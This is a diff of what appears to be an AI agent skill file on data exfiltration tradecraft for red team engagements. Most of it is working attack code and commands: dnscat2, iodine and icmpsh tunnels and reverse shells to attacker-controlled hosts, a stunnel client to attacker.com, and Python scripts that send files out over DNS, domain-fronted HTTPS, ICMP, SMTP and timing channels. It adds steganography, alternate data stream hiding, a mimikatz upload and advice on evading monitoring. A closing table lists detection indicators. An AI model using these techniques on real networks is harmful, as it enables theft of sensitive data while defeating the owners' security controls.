offensive-data-exfiltration ยท diff
git:20260825.900e4c2 to git:20260825.f7a0553
36 added, 138 removed. Audit B to B.
---
name: offensive-data-exfiltration
description: "Comprehensive data exfiltration tradecraft for authorized red team engagements covering covert channel techniques and data staging. DNS exfiltration via dnscat2, iodine, and custom TXT/CNAME tunneling constructs label-encoded data into DNS queries that traverse firewalls permitting UDP/53. HTTPS tunneling through stunnel, domain fronting, and CDN abuse hides exfiltration in legitimate TLS traffic. ICMP tunneling with icmpsh and ptunnel embeds data in echo request/reply payloads. Cloud storage dead drops leverage pre-signed URLs on S3, Azure Blob, and GCS to stage data through trusted cloud endpoints. Email-based exfiltration routes data through SMTP/IMAP channels. Steganography techniques embed data in image, audio, and document files using LSB encoding and metadata injection. Covers data staging, compression, encryption, chunking strategies, encoding schemes (base64, hex, custom alphabets), and covert timing channels. Physical vectors include USB dead drops and QR code exfiltration for air-gapped environments. Tools: dnscat2, iodine, PacketWhisper, chisel, stunnel. Maps to MITRE ATT&CK T1048 (Exfiltration Over Alternative Protocol), T1041 (Exfiltration Over C2 Channel), T1567 (Exfiltration Over Web Service), and sub-techniques. Includes detection indicators and a rapid engagement cheatsheet."
---
# Offensive Data Exfiltration
Data exfiltration is the final objective of many engagements -- extracting
target data to prove impact and demonstrate what an adversary could steal.
You move data from the compromised environment to attacker-controlled
infrastructure using channels that bypass network security controls. The
choice of exfiltration method depends on what egress protocols the network
permits, what DLP controls are in place, the volume of data, and the stealth
requirements of the engagement.
This skill covers DNS tunneling, HTTPS tunneling, ICMP tunneling, cloud
storage abuse, email exfiltration, steganography, data staging techniques,
and physical exfiltration vectors. Apply these in authorized engagements only.
## Quick Workflow
1. Identify permitted egress protocols (DNS, HTTPS, ICMP, SMTP).
2. Stage target data -- compress, encrypt, and chunk it.
3. Select an exfiltration channel matching available egress.
4. Test the channel with small benign data before moving real payloads.
5. Throttle transfer rate to avoid volumetric detection.
6. Validate data integrity on receipt (checksums).
7. Document the exfiltration path and volume for your engagement report.
---
## Data Staging and Preparation
Before exfiltrating, you prepare the data to minimize transfer volume, avoid
content inspection, and ensure integrity. Always encrypt exfiltrated data --
you are responsible for protecting it during the engagement.
### Compression and Archiving
```bash
# Compress and archive target files
tar czf /tmp/.cache/loot.tar.gz /path/to/sensitive/data/
# Split into chunks for protocols with size constraints (DNS, ICMP)
split -b 64k /tmp/.cache/loot.tar.gz /tmp/.cache/chunk_
# On Windows
powershell Compress-Archive -Path C:\Users\target\Documents\* -DestinationPath C:\Users\Public\data.zip
```
### Encryption
```bash
# Encrypt with AES-256 before exfiltration
openssl enc -aes-256-cbc -salt -pbkdf2 -in loot.tar.gz -out loot.enc -k "engagement_key_2024"
- # GPG encryption (asymmetric)
+ # GPG encryption (asymmetric, preferred for multi-operator engagements)
gpg --recipient operator@redteam --encrypt loot.tar.gz
-
- # On Windows with PowerShell
- $key = [System.Text.Encoding]::UTF8.GetBytes("32ByteKeyHere12345678901234")
- $aes = [System.Security.Cryptography.Aes]::Create()
- # ... standard .NET AES encryption flow
```
### Encoding for Protocol Constraints
```bash
# Base64 encode for protocols that require printable characters
base64 loot.enc > loot.b64
# Hex encode for DNS label-safe encoding
xxd -p loot.enc > loot.hex
# Base32 encode (DNS-safe, no special characters)
python3 -c "import base64; data=open('loot.enc','rb').read(); print(base64.b32encode(data).decode())" > loot.b32
```
```python
# Custom encoding for DNS labels (max 63 chars per label, 253 total)
import base64
def encode_for_dns(data, domain, chunk_size=60):
"""Encode binary data into DNS-safe queries."""
encoded = base64.b32encode(data).decode().rstrip('=').lower()
queries = []
for i in range(0, len(encoded), chunk_size):
chunk = encoded[i:i+chunk_size]
query = f"{chunk}.{domain}"
queries.append(query)
return queries
```
---
## DNS Exfiltration
DNS is the most reliable exfiltration channel because nearly every network
permits outbound DNS queries. You encode data into DNS query labels or TXT
record responses, routing it through a DNS server you control.
### dnscat2
dnscat2 creates a command-and-control channel over DNS with built-in file
transfer, port forwarding, and interactive shell capabilities.
```bash
# On your authoritative DNS server (attacker infrastructure)
# Set up NS records: exfil.yourdomain.com -> your_server_ip
dnscat2-server exfil.yourdomain.com
# On the compromised host
./dnscat2 exfil.yourdomain.com
# In the dnscat2 server console
windows # List active sessions
window -i 1 # Interact with session 1
download C:\Users\admin\Documents\secrets.docx /tmp/loot/secrets.docx
upload /tmp/tools/mimikatz.exe C:\Users\Public\m.exe
shell # Get an interactive shell
```
```bash
# dnscat2 with encryption and custom options
dnscat2 --dns "domain=exfil.yourdomain.com,type=TXT" --secret=shared_key_here
# Limit query types to evade detection
dnscat2 --dns "domain=exfil.yourdomain.com,type=CNAME"
dnscat2 --dns "domain=exfil.yourdomain.com,type=MX"
```
### iodine
iodine creates a full IP tunnel over DNS, giving you a virtual network
interface through DNS queries. Higher throughput than dnscat2 but noisier.
```bash
# On your DNS server (set up NS delegation first)
iodined -f -c -P strongpassword 10.0.0.1/24 exfil.yourdomain.com
# On the compromised host
iodine -f -P strongpassword exfil.yourdomain.com
# This creates a dns0 interface with a 10.0.0.x address
# You can now tunnel any TCP/UDP traffic through it
scp -o "ProxyCommand nc -X 5 -x 127.0.0.1:1080 %h %p" loot.enc operator@10.0.0.1:/tmp/loot/
```
### Custom DNS Tunneling
```bash
# Manual TXT record exfiltration with dig
# Encode data chunks as subdomain labels
for chunk in $(cat loot.hex | fold -w 60); do
dig +short ${chunk}.data.exfil.yourdomain.com TXT @8.8.8.8
sleep $(( RANDOM % 5 + 2 )) # Jitter to avoid detection
done
```
```python
- # Python DNS exfiltration script with jitter
- import dns.resolver
- import base64
- import time
- import random
+ # Python DNS exfiltration with jitter
+ import dns.resolver, base64, time, random
def exfil_dns(filepath, domain, delay_range=(1, 5)):
"""Exfiltrate a file via DNS queries with timing jitter."""
with open(filepath, 'rb') as f:
data = f.read()
-
encoded = base64.b32encode(data).decode().rstrip('=').lower()
- chunk_size = 60 # Max DNS label length is 63
-
seq = 0
- for i in range(0, len(encoded), chunk_size):
- chunk = encoded[i:i+chunk_size]
- query = f"{seq:04d}.{chunk}.d.{domain}"
+ for i in range(0, len(encoded), 60): # 60 chars per label (max 63)
+ query = f"{seq:04d}.{encoded[i:i+60]}.d.{domain}"
try:
dns.resolver.resolve(query, 'A')
except Exception:
- pass # Response does not matter; data is in the query
+ pass # Data is in the query itself
seq += 1
time.sleep(random.uniform(*delay_range))
-
- # Send completion signal
- dns.resolver.resolve(f"done.{seq:04d}.d.{domain}", 'A')
```
### PacketWhisper
PacketWhisper uses DNS queries to exfiltrate data without requiring you to
own a DNS server. It encodes data as queries for random-looking domains and
captures them from a PCAP on the network path.
```bash
# On the compromised host -- generate DNS queries
python3 packetwhisper.py --mode transmit --file loot.enc --cipher_num 1
# On the capture point -- extract data from PCAP
python3 packetwhisper.py --mode receive --pcap capture.pcap --cipher_num 1
```
OPSEC note: DNS exfiltration is detectable by monitoring query volume, label
entropy, query frequency to uncommon domains, and TXT record sizes. Rate-limit
your queries and add realistic jitter. Use CNAME or A record types instead
of TXT where possible, as TXT queries to uncommon domains are a known indicator.
---
## HTTPS Tunneling and Domain Fronting
HTTPS exfiltration blends with normal web traffic. Domain fronting routes
your traffic through a legitimate CDN so the visible SNI and Host header
point to a trusted domain.
### stunnel
```bash
# On your attack server -- stunnel listener
cat << 'EOF' > /etc/stunnel/exfil.conf
[exfil]
accept = 443
connect = 127.0.0.1:8080
cert = /etc/stunnel/server.pem
EOF
stunnel /etc/stunnel/exfil.conf
# On the compromised host -- tunnel traffic through TLS
# stunnel client configuration
cat << 'EOF' > stunnel-client.conf
[exfil]
client = yes
accept = 127.0.0.1:9090
connect = attacker.com:443
EOF
stunnel stunnel-client.conf
# Now send data through the tunnel
curl -X POST -d @loot.enc http://127.0.0.1:9090/upload
```
### Domain Fronting
```bash
# Domain fronting through a CDN
# The TLS SNI shows "legitimate-site.cdn.com"
# The HTTP Host header carries your actual C2 domain
curl -H "Host: exfil.yourdomain.com" https://legitimate-site.cdn.com/upload \
-X POST --data-binary @loot.enc
# Using a cloud function as a redirector
# Deploy a simple function on a cloud provider that forwards to your server
# Traffic appears as legitimate cloud API calls
```
```python
# HTTPS exfiltration with chunked transfer and domain fronting
- import requests
- import os
+ import requests, os
def exfil_https(filepath, fronting_domain, real_host, chunk_size=1048576):
- """Exfiltrate via HTTPS with domain fronting."""
- file_size = os.path.getsize(filepath)
+ """Exfiltrate via HTTPS with domain fronting in 1MB chunks."""
session = requests.Session()
-
with open(filepath, 'rb') as f:
chunk_num = 0
- while True:
- chunk = f.read(chunk_size)
- if not chunk:
- break
- headers = {
- 'Host': real_host,
- 'Content-Type': 'application/octet-stream',
- 'X-Request-ID': f'{chunk_num:06d}',
- 'X-Total-Size': str(file_size),
- }
+ while chunk := f.read(chunk_size):
session.post(
f'https://{fronting_domain}/api/telemetry',
data=chunk,
- headers=headers,
- verify=True
+ headers={'Host': real_host, 'Content-Type': 'application/octet-stream',
+ 'X-Request-ID': f'{chunk_num:06d}'}
)
chunk_num += 1
```
### Cloud Storage Dead Drops
```bash
# Generate a pre-signed S3 upload URL on your account
aws s3 presign s3://exfil-bucket/drop/loot.enc --expires-in 3600
# On the compromised host -- upload using the pre-signed URL (no AWS CLI needed)
curl -X PUT -T loot.enc "https://exfil-bucket.s3.amazonaws.com/drop/loot.enc?X-Amz-Algorithm=AWS4-HMAC-SHA256&..."
# Azure Blob Storage with SAS token
curl -X PUT -H "x-ms-blob-type: BlockBlob" --data-binary @loot.enc \
"https://exfilstore.blob.core.windows.net/drop/loot.enc?sv=2021-06-08&ss=b&srt=o&sp=w&se=..."
# Google Cloud Storage signed URL
curl -X PUT -T loot.enc "https://storage.googleapis.com/exfil-bucket/loot.enc?X-Goog-Signature=..."
```
OPSEC note: Pre-signed URLs require no credentials on the compromised host.
Traffic appears as legitimate HTTPS to major cloud providers. DLP systems
inspecting TLS content (with TLS interception) can still detect the data.
---
## ICMP Tunneling
ICMP tunneling embeds data in ping packets. Many networks allow ICMP echo
even when other outbound protocols are restricted.
### icmpsh
```bash
# On your attack box -- disable kernel ICMP replies and start listener
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python3 icmpsh_m.py <ATTACK_IP> <TARGET_IP>
# On the compromised Windows host
icmpsh.exe -t <ATTACK_IP>
# This gives you a reverse shell over ICMP
# Exfiltrate by piping data through the shell
type C:\Users\admin\secrets.txt
```
### ptunnel / ptunnel-ng
```bash
# On your attack box (proxy server)
ptunnel-ng -r<ATTACK_IP> -R22
# On the compromised host (client)
ptunnel-ng -p<ATTACK_IP> -l2222 -r<ATTACK_IP> -R22
# Now SSH through the ICMP tunnel
ssh -p 2222 operator@127.0.0.1
# Transfer files through the SSH-over-ICMP tunnel
scp -P 2222 loot.enc operator@127.0.0.1:/tmp/loot/
```
### Custom ICMP Exfiltration
```python
# Manual ICMP data exfiltration using scapy
from scapy.all import IP, ICMP, Raw, send
import time
import random
def exfil_icmp(filepath, target_ip, chunk_size=32, delay_range=(0.5, 2.0)):
"""Exfiltrate data in ICMP echo request payloads."""
with open(filepath, 'rb') as f:
data = f.read()
seq = 0
for i in range(0, len(data), chunk_size):
chunk = data[i:i+chunk_size]
# Prefix with sequence number for reassembly
payload = seq.to_bytes(4, 'big') + chunk
pkt = IP(dst=target_ip) / ICMP(type=8, id=0x1337, seq=seq) / Raw(load=payload)
send(pkt, verbose=False)
seq += 1
time.sleep(random.uniform(*delay_range))
# Send completion marker
end_payload = seq.to_bytes(4, 'big') + b'EXFIL_DONE'
send(IP(dst=target_ip) / ICMP(type=8, id=0x1337, seq=seq) / Raw(load=end_payload), verbose=False)
```
OPSEC note: Large or frequent ICMP packets are anomalous. Keep payload sizes
small (under 64 bytes per packet) and add realistic jitter. Some IDS/IPS
inspect ICMP payload content for non-standard data.
---
## Email-Based Exfiltration
Email exfiltration leverages existing SMTP/IMAP infrastructure. It blends
with normal email traffic and can bypass network controls that allow
outbound mail.
```bash
# Send exfiltrated data as an email attachment via command line
# Using sendmail or mail command
cat loot.enc | base64 | mail -s "Q3 Report" operator@external-mailbox.com
# Using PowerShell on Windows
$msg = New-Object System.Net.Mail.MailMessage
$msg.From = "user@corp.local"
$msg.To.Add("operator@external-mailbox.com")
$msg.Subject = "Monthly Report"
$msg.Attachments.Add("C:\Users\Public\data.zip")
$smtp = New-Object System.Net.Mail.SmtpClient("mail.corp.local")
$smtp.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
$smtp.Send($msg)
```
```python
# SMTP exfiltration with chunked attachments
- import smtplib
+ import smtplib, os
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
- import os
- def exfil_email(filepath, smtp_server, from_addr, to_addr, max_attach_mb=5):
- """Exfiltrate data as email attachments, chunked if needed."""
- file_size = os.path.getsize(filepath)
- chunk_size = max_attach_mb * 1024 * 1024
-
+ def exfil_email(filepath, smtp_server, from_addr, to_addr, chunk_mb=5):
+ """Exfiltrate data as email attachments, chunked to avoid size limits."""
with open(filepath, 'rb') as f:
- part_num = 0
- while True:
- chunk = f.read(chunk_size)
- if not chunk:
- break
-
+ part = 0
+ while chunk := f.read(chunk_mb * 1024 * 1024):
msg = MIMEMultipart()
- msg['From'] = from_addr
- msg['To'] = to_addr
- msg['Subject'] = f'Monthly Analytics Report Part {part_num + 1}'
-
- attachment = MIMEBase('application', 'octet-stream')
- attachment.set_payload(chunk)
- encoders.encode_base64(attachment)
- attachment.add_header('Content-Disposition', f'attachment; filename="report_p{part_num}.dat"')
- msg.attach(attachment)
-
- with smtplib.SMTP(smtp_server) as server:
- server.send_message(msg)
- part_num += 1
+ msg['From'], msg['To'] = from_addr, to_addr
+ msg['Subject'] = f'Monthly Analytics Report Part {part + 1}'
+ att = MIMEBase('application', 'octet-stream')
+ att.set_payload(chunk)
+ encoders.encode_base64(att)
+ att.add_header('Content-Disposition', f'attachment; filename="report_p{part}.dat"')
+ msg.attach(att)
+ with smtplib.SMTP(smtp_server) as s:
+ s.send_message(msg)
+ part += 1
```
OPSEC note: DLP systems commonly inspect outbound email for sensitive data
patterns (SSNs, credit card numbers, keywords). Encrypt data before
attaching. Large or numerous attachments trigger volumetric alerts.
---
## Steganography
Steganography hides data within innocent-looking files -- images, audio,
documents. Useful when you need to exfiltrate through channels with content
inspection.
```bash
# LSB steganography with steghide (JPEG/BMP/WAV/AU)
steghide embed -cf cover_image.jpg -ef loot.enc -p "passphrase" -f
steghide extract -sf cover_image.jpg -p "passphrase"
-
- # Using zsteg for PNG (LSB encoding)
- # Embed data in the least significant bits of pixel values
- python3 -c "
- from PIL import Image
- import struct
-
- def embed_lsb(cover_path, data, output_path):
- img = Image.open(cover_path)
- pixels = list(img.getdata())
- bits = ''.join(format(b, '08b') for b in data)
- bits += '0' * (len(pixels) * 3 - len(bits)) # Pad
-
- new_pixels = []
- bit_idx = 0
- for pixel in pixels:
- new_pixel = []
- for channel in pixel[:3]:
- if bit_idx < len(bits):
- new_pixel.append((channel & 0xFE) | int(bits[bit_idx]))
- bit_idx += 1
- else:
- new_pixel.append(channel)
- if len(pixel) == 4:
- new_pixel.append(pixel[3])
- new_pixels.append(tuple(new_pixel))
-
- img.putdata(new_pixels)
- img.save(output_path)
-
- data = open('loot.enc', 'rb').read()
- embed_lsb('cover.png', data, 'innocent.png')
- "
```
+ For PNG files, LSB encoding replaces the least significant bit of each color
+ channel with one bit of your data. Use PIL/Pillow to iterate pixels, apply
+ `(channel & 0xFE) | data_bit` per channel, and save. The image appears
+ visually identical but carries embedded data.
+
```bash
# Embed data in image EXIF metadata
exiftool -Comment="$(base64 loot.enc)" cover_image.jpg
# Embed in document metadata
exiftool -Author="$(base64 loot.enc | head -c 65000)" document.pdf
# Append data after JPEG end-of-image marker
cat cover_image.jpg loot.enc > output.jpg
# The image renders normally; data is appended after FFD9 marker
```
```powershell
# Alternate Data Streams (Windows NTFS only, does not survive copy to non-NTFS)
# Hide data in an ADS
cmd /c "type loot.enc > C:\Users\Public\report.docx:hidden"
# Extract
cmd /c "more < C:\Users\Public\report.docx:hidden > C:\Users\Public\extracted.enc"
```
---
## Covert Channels and Timing-Based Exfiltration
When all standard protocols are monitored, you use side channels that encode
data in timing patterns or protocol fields not normally inspected.
```python
# Timing-based covert channel: encode bits as inter-packet delays
import time
import socket
def exfil_timing(data, target_ip, target_port, bit_0_delay=0.1, bit_1_delay=0.5):
"""Encode data in TCP connection timing intervals."""
bits = ''.join(format(b, '08b') for b in data)
for bit in bits:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
try:
sock.connect((target_ip, target_port))
except Exception:
pass
finally:
sock.close()
if bit == '0':
time.sleep(bit_0_delay)
else:
time.sleep(bit_1_delay)
```
- ```python
- # Encode data in TCP/IP header fields
- from scapy.all import IP, TCP, send
-
- def exfil_ipid(data, target_ip, target_port):
- """Encode bytes in IP Identification field."""
- for byte in data:
- pkt = IP(dst=target_ip, id=byte) / TCP(dport=target_port, flags='S')
- send(pkt, verbose=False)
-
- def exfil_tcp_seq(data, target_ip, target_port):
- """Encode 4 bytes at a time in TCP sequence numbers."""
- for i in range(0, len(data), 4):
- chunk = data[i:i+4].ljust(4, b'\x00')
- seq_num = int.from_bytes(chunk, 'big')
- pkt = IP(dst=target_ip) / TCP(dport=target_port, seq=seq_num, flags='S')
- send(pkt, verbose=False)
- ```
+ You can also encode data in protocol header fields that are not normally
+ inspected: the IP Identification field (1 byte per packet), TCP sequence
+ numbers (4 bytes per SYN), or TCP urgent pointer. Use scapy to craft
+ packets with `IP(dst=target, id=byte_val) / TCP(dport=port, flags='S')`.
OPSEC note: Timing channels are extremely slow (bits per second) but nearly
impossible to detect without specialized analysis. Use them only when no
other channel is available and data volume is small (passwords, keys).
---
## Physical Exfiltration
For air-gapped networks or environments with extreme network monitoring,
physical methods bypass all network-based controls.
```bash
# USB dead drop -- prepare an encrypted USB drive
# On your prep machine
cryptsetup luksFormat /dev/sdb1
cryptsetup open /dev/sdb1 exfil
mkfs.ext4 /dev/mapper/exfil
mount /dev/mapper/exfil /mnt/usb
# On the target -- copy data to USB
cp -r /path/to/sensitive/data /media/usb/
sync
umount /media/usb
# QR code exfiltration (for small data like keys/passwords)
# Generate QR codes from data, photograph them with a phone
qrencode -o qr_output.png -s 6 "$(cat ssh_key | base64)"
# For larger data, generate multiple QR codes
split -b 2000 loot.b64 qr_chunk_
for f in qr_chunk_*; do
qrencode -o "${f}.png" -s 4 "$(cat $f)"
done
# Photograph the QR codes with a mobile device camera
```
- ```python
- # QR code generation for data exfiltration
- import qrcode
- import base64
- import os
-
- def generate_qr_exfil(filepath, output_dir, max_bytes=2000):
- """Generate a series of QR codes encoding a file."""
- with open(filepath, 'rb') as f:
- data = f.read()
-
- encoded = base64.b64encode(data).decode()
- os.makedirs(output_dir, exist_ok=True)
-
- total_chunks = (len(encoded) + max_bytes - 1) // max_bytes
- for i in range(0, len(encoded), max_bytes):
- chunk_num = i // max_bytes
- chunk = encoded[i:i+max_bytes]
- # Include metadata for reassembly
- payload = f"{chunk_num}:{total_chunks}:{chunk}"
- qr = qrcode.make(payload)
- qr.save(os.path.join(output_dir, f"qr_{chunk_num:04d}.png"))
- ```
+ For programmatic QR generation, use the `qrcode` Python library with `{seq}:{total}:{data}` prefixes for reassembly.
OPSEC note: Physical exfiltration requires physical access and carries the
risk of discovery by personnel. USB usage may be logged by endpoint DLP
agents (event 6416 on Windows for PnP device connection). QR code
exfiltration is limited to small data volumes but leaves no digital trail.
---
## Detection / Defender View
| Technique | Primary Detection | Key Indicators |
|-----------|------------------|----------------|
| DNS tunneling | DNS query analysis | High query volume, long labels, high entropy, TXT to uncommon domains |
| dnscat2 | DNS payload inspection | CNAME/TXT responses with encoded data, consistent query patterns |
| iodine | DNS anomaly detection | NULL record queries, large DNS packets, tunnel negotiation patterns |
| HTTPS tunneling | TLS inspection, netflow | Sustained connections, high upload volume to uncommon hosts |
| Domain fronting | TLS inspection | SNI/Host header mismatch (requires TLS interception) |
| Cloud dead drops | CASB, proxy logs | PUT/POST to cloud storage from unexpected hosts |
| ICMP tunneling | ICMP payload analysis | Non-standard payload sizes, high ICMP frequency, data in payloads |
| Email exfil | DLP, mail gateway | Large or encrypted attachments, unusual recipients |
| Steganography | Statistical analysis | LSB anomalies, appended data after file markers, large EXIF fields |
| Timing channels | Statistical traffic analysis | Unusual inter-packet delay distributions |
| USB exfil | Endpoint DLP | PnP device events (6416), USB write activity |
Key defender controls:
- **DNS monitoring** (passive DNS, query logging) detects most DNS tunneling by volume, entropy, and domain reputation.
- **TLS inspection** proxies break domain fronting and enable content inspection of HTTPS traffic.
- **DLP systems** inspect outbound data for sensitive patterns at the network, email, and endpoint levels.
- **CASB** (Cloud Access Security Broker) monitors and controls cloud service usage.
- **Endpoint DLP agents** log USB writes, clipboard activity, and print operations.
- **Network flow analysis** detects sustained or volumetric anomalies in any protocol.
- **Sysmon** with network connection logging (event 3) captures outbound connections to unusual destinations.
- **YARA rules** on egress proxies detect known tool signatures in transit.
---
## Engagement Cheatsheet
```text
SCENARIO TECHNIQUE TOOL / COMMAND
------------------------------- -------------------------- ----------------------------------------
DNS egress allowed DNS tunnel (full) dnscat2 / iodine
DNS only, no infra control DNS query encoding PacketWhisper / custom dig loop
HTTPS egress allowed HTTPS upload curl POST / Python requests
HTTPS with domain filtering Domain fronting curl -H "Host: real.c2" https://cdn.com
Cloud endpoints whitelisted Cloud dead drop Pre-signed S3/Azure/GCS URLs
SMTP egress allowed Email attachment mail / PowerShell Send-MailMessage
Only ICMP allowed ICMP tunnel ptunnel-ng / icmpsh
Content inspection active Steganography steghide / LSB encoding / EXIF embed
Extreme monitoring, small data Timing channel Custom inter-packet delay encoding
Air-gapped network Physical USB dead drop / QR codes
Need reliable IP tunnel DNS IP tunnel iodine (creates tun interface)
Large volume, speed needed HTTPS chunked upload Python chunked POST with jitter
Credential/key only (small) QR code qrencode + camera
Need to blend with traffic Encrypted cloud upload AES + pre-signed URL to major cloud
```
MITRE ATT&CK references:
- T1048 -- Exfiltration Over Alternative Protocol (.001 Symmetric Encrypted, .002 Asymmetric Encrypted, .003 Unencrypted)
- T1041 -- Exfiltration Over C2 Channel
- T1567 -- Exfiltration Over Web Service (.002 Exfiltration to Cloud Storage)
- T1071 -- Application Layer Protocol (.001 Web, .004 DNS)
- T1572 -- Protocol Tunneling
- T1029 -- Scheduled Transfer
- T1030 -- Data Transfer Size Limits
- T1560 -- Archive Collected Data (.001 Archive via Utility)
- T1052 -- Exfiltration Over Physical Medium (.001 USB)
- T1001 -- Data Obfuscation (.001 Junk Data, .002 Steganography, .003 Protocol Impersonation)
---
## Key References
- dnscat2: https://github.com/iagox86/dnscat2
- iodine: https://github.com/yarrick/iodine
- PacketWhisper: https://github.com/TryCatchHCF/PacketWhisper
- icmpsh: https://github.com/bdamele/icmpsh
- ptunnel-ng: https://github.com/utoni/ptunnel-ng
- steghide: https://steghide.sourceforge.net/
- chisel: https://github.com/jpillora/chisel
- MITRE ATT&CK Exfiltration: https://attack.mitre.org/tactics/TA0010/
- SANS -- Data Exfiltration Techniques: https://www.sans.org/white-papers/
- The Hacker Recipes -- Exfiltration: https://www.thehacker.recipes/